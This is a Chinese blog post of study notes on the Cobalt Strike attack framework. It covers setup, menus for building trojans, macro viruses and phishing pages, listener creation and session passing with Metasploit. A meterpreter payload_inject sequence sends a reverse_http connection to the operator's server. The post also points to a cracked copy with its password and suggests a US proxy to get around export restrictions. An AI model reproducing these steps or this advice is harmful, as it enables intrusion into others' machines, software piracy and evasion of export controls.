Cobalt Strike学习笔记
Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。Cobalt Strike主要用于团队作战,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。
Cobalt Strike,据说现在最新版为3.9,主要分为试用版和付费版,试用版为21天,付费版3500美元,据说网上也有一些破解教程,cobaltstrik3.6破解版下载 密码: 51tg。因为Cobalt Strike是美国对外限制型出口软件,只在美国和加拿大允许发售,所以我们需要google搜索下usa的个人代理来绕开限制。
0x01 安装与运行
Cobalt Strike需要JAVA环境,需要注意的是JAVA环境不要安装最新版,否则会出一些问题,Cobalt Strike分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上,或者自己想要搭建的环境中,服务器端只能运行在Linux系统上。其中关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:
|
|
说一下我安装运行时遇到的坑,首先:JAVA版本必须为8,否则就因版本问题无法编译运行;二:IP必须为真实IP,不能使用0.0.0.0或者127.0.0.1,这样也会报错的。
服务器端运行之后,我们就可以运行客户端了,客户端可以在Windows或者Linux下都可以。输入我们刚才IP以及端口、密码,用户名可以任意设置。
当攻击目标在控制台所操作的指令都会被记录到保留在Cobalt Strike目录logs下,对了,破解版是无法更新的。
0x02 参数详情
Cobalt Strike
1234567New Connection #进行另外一个连接,支持连接多个服务器端Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录Visualization #主要展示输出结果的形式VPN Interfaces #设置VPN接口Listenrs #创建一个ListenerScript Manager #Close #退出连接View
12345678910Applications #显示受害者机器的应用信息Credentials #凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。Downloads #下载文件Event Log #主机上线记录以及团队协作聊天记录Keystrokes #键盘记录Proxy Pivots #代理模块Screenshots #进程截图Script Console #控制台,在这里可以加载[各种脚本](https://github.com/rsmudge/cortana-scripts)以增强功能Targets #显示目标Web Log #Web访问记录Attacks
1234567891011121314151617Packages #攻击包HTML Application 生成恶意的HTA木马文件MS Office Macro 生成office宏病毒文件Payload Generator 生成各种语言版本的payloadUSB/CD AutoPlay 生成利用自动播放运行的木马文件Windows Dropper 捆绑器,能够对文档类进行捆绑Windows Executable 生成可执行exe木马Windows Executable(S) 生成无状态的可执行exe木马Web Drive-by #钓鱼攻击Manage 对开启的web服务进行管理Clone Site 克隆网站,可以记录受害者提交的数据Host File 提供一个文件下载,可以修改Mime信息PowerShell Web Delivery 类似于msf 的web_deliverySigned Applet Attack 使用java自签名的程序进行钓鱼攻击Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等Spear Phish #用来邮件钓鱼的模块Reporting
123456activity report #活动报告生成Hosts report #主机报告Indicators opromisef com #目标报告Sessions report #会话报告Social engineering report #社会工程报告Export data #数据出口help
12345Homepage #官方主页Support #技术支持Arsenal #开发者System information #版本信息About #关于
0x03 基本运行
首先使用Cobalt Strike需要创建一个Listener,点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.6包括
|
|
其中windows/beacon是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign为外部监听器,即msf或者Armitage的监听器。 选择监听器以后,host会自动填写我们开启服务时的ip,配置监听端口,然后保存,监听器就创建好了。
在创建好监听器,接下来就需要配置我们的客户端了,Cobalt Strike提供了多种包括攻击方式,在这里我们使用Powershell进行攻击。
|
|
当我们在目标靶机运行上面这条Powershell之后,我们的Cobalt Strike客户端就会监听到我们的反弹链接,我们就可以看到已经有目标机上线。
|
|
0x04 与msf进行联动
- cs获得了一个上线机器,想把这个机器丢给msf中的meterpreter获得一个session进行控制
这里我们已经获得了一个上线机器。
|
|
之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp Listener,其中ip为msf的ip地址,端口为msf所监听的端口,
然后选中计算机,右键->Spawn:选择刚刚创建的监听器:
这个时候我们可以看到,msf上的监听已经上线,我们可以进行我们想要的一些操作了。
- msf获得了一个meterpreter的session,想把session传给cs
这里我们已经获得了一个meterpreter的session
在CS中创建一个监听者,和上一步类似,这里host需要修改为CS客户端IP,创建好之后我们便监听着6666端口,等待着被控机连接。
此时切我们换到meterpreter中,
123456789101112meterpreter > background # 切换到后台msf exploit(handler) > use exploit/windows/local/payload_inject # 这个exploit是注入一个新的payload 到当前的session里面msf exploit(payload_inject) > set payload windows/meterpreter/reverse_http # 不能使用x64的payloadpayload => windows/meterpreter/reverse_httpmsf exploit(payload_inject) > set DisablePayloadHandler true # 关闭msf payload的监听,可以不用设置,不影响效果msf exploit(payload_inject) > set lhost 192.168.3.103 # cs的服务端IPlhost => 192.168.3.103msf exploit(payload_inject) > set lport 6666 # 监听者的监听端口lport => 6666msf exploit(payload_inject) > set session 1 # 这里是之前meterpreter的session编号session => 1msf exploit(payload_inject) > exploit
此时机器便已成功从cs成功上线,可以进行各种姿势的操作。
- cs获得了一个上线机器,想把这个机器丢给msf中继续进行渗透
根据上线的肉鸡,可以使用SOCKS代理
配置proxychains.conf,添加socks4 127.0.0.1 32557,然后就可以通过proxychains 使用各种工具做内网渗透了
Cobalt Strike学习笔记的更多相关文章
- Cobalt Strike 学习
前言 本文以一个模拟的域环境为例对 Cobalt Strike 的使用实践一波. 环境拓扑图如下: 攻击者(kali) 位于 192.168.245.0/24 网段,域环境位于 192.168.31. ...
- cobalt strike使用笔记
启动: ./teamserver 192.168.74.1 admin #启动cs服务器.admin为密码. 监听器: windows/beacon_dns/reverse_dns_txtwindow ...
- CUBRID学习笔记 41 sql语法之select
cubrid的中sql查询语法 SELECT [ ] [{TO | INTO} ][FROM ] [WHERE ][GROUP BY {col_name | expr} [ASC | DESC], . ...
- <老友记>学习笔记
这是六个人的故事,从不服输而又有强烈控制欲的monica,未经世事的千金大小姐rachel,正直又专情的ross,幽默风趣的chandle,古怪迷人的phoebe,花心天真的joey——六个好友之间的 ...
- MVC_学习笔记_2_Authorize
MVC5_学习笔记_2_Authorize/* GitHub stylesheet for MarkdownPad (http://markdownpad.com) *//* Author: Nico ...
- 《零基础学JavaScript(全彩版)》学习笔记
<零基础学JavaScript(全彩版)>学习笔记 二〇一九年二月九日星期六0时9分 前期: 刚刚学完<零基础学HTML5+CSS3(全彩版)>,准备开始学习JavaScrip ...
- 前端html与css学习笔记总结篇(超详细)
第一部分 HTML 第一章 职业规划和前景 职业方向规划定位: web前端开发工程师 web网站架构师 自己创业 转岗管理或其他 web前端开发的前景展望: 未来IT行业企业需求最多的人才 结合最新的 ...
- Cobalt Strike系列教程第五章:截图与浏览器代理
Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...
- Cobalt Strike系列教程第四章:文件/进程管理与键盘记录
Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...
随机推荐
- JVM学习思维导图
- Eova 怎么放在 Docker中,使用阿里云流水线构建Eova!!
Eova 快速开发框架不做过多解释,使用起来超级爽提高了我们的开发效率. 有要了解的可以去官网看下http://www.eova.cn/ 最近我们想在docker中运行并且使用阿里云的云效工具去构建部 ...
- 新年在家学java之基础篇-参数&修饰符&构造器
可变参数 不知道可能给方法传递多少个参数时使用这个方法 public void printInfo (String[] args) --可以定义一个数组,在调用这个方法适合赋值给一个数组 public ...
- 2. Unconstrained Optimization(2th)
2.1 Basic Results on the Existence of Optimizers 2.1. DefinitionLet $f:U->\mathbb{R}$ be a functi ...
- python之处理json字符串
一.如何从文件中读取json字符串 通过json模块可以处理json数据. 1.loads()方法 loads(json_object)将json字符串转换成dict类型. import json # ...
- Java源码之ArrayList
本文源码均来自Java 8 总体介绍 Collection接口是集合类的根接口,Java中没有提供这个接口的直接的实现类.Set和List两个类继承于它.Set中不能包含重复的元素,也没有顺序来存放. ...
- Xen入门系列四【Xen 管理实操】
1. 克隆一台虚拟机 # virt-clone -o base -n vm-clone -f /vm/vm-clone.img 参数说明: -o 原虚拟机的名称:必须为关闭或者暂停状态. -n 新虚拟 ...
- HTTP请求方法及常见状态码
GET: 请求指定的页面信息,并返回实体主体. HEAD: 只请求页面的首部. POST: 请求服务器接受所指定的文档作为对所标识的URI的新的从属实体. PUT: 从客户端向服务器传送的数据取代指定 ...
- Java 线程总结(十四)
1.在异步任务进程中,一种常见的场景是,主线程提交多个异步任务,然后希望有任务完成就处理结果,并且按任务完成顺序逐个处理,对于这种场景,Java 并发包提供了一个方便的方法,使用 Completion ...
- Python类变量与实例变量及成员函数修饰方式说明(与Java定义方式进行类比)
Python类中的变量有类变量和实例变量之分. 类变量:变量绑定在类上,同一个类之间的共享变量,类比于Java中的静态变量static 公有变量定义 Java 的定义方式 class Test{ pu ...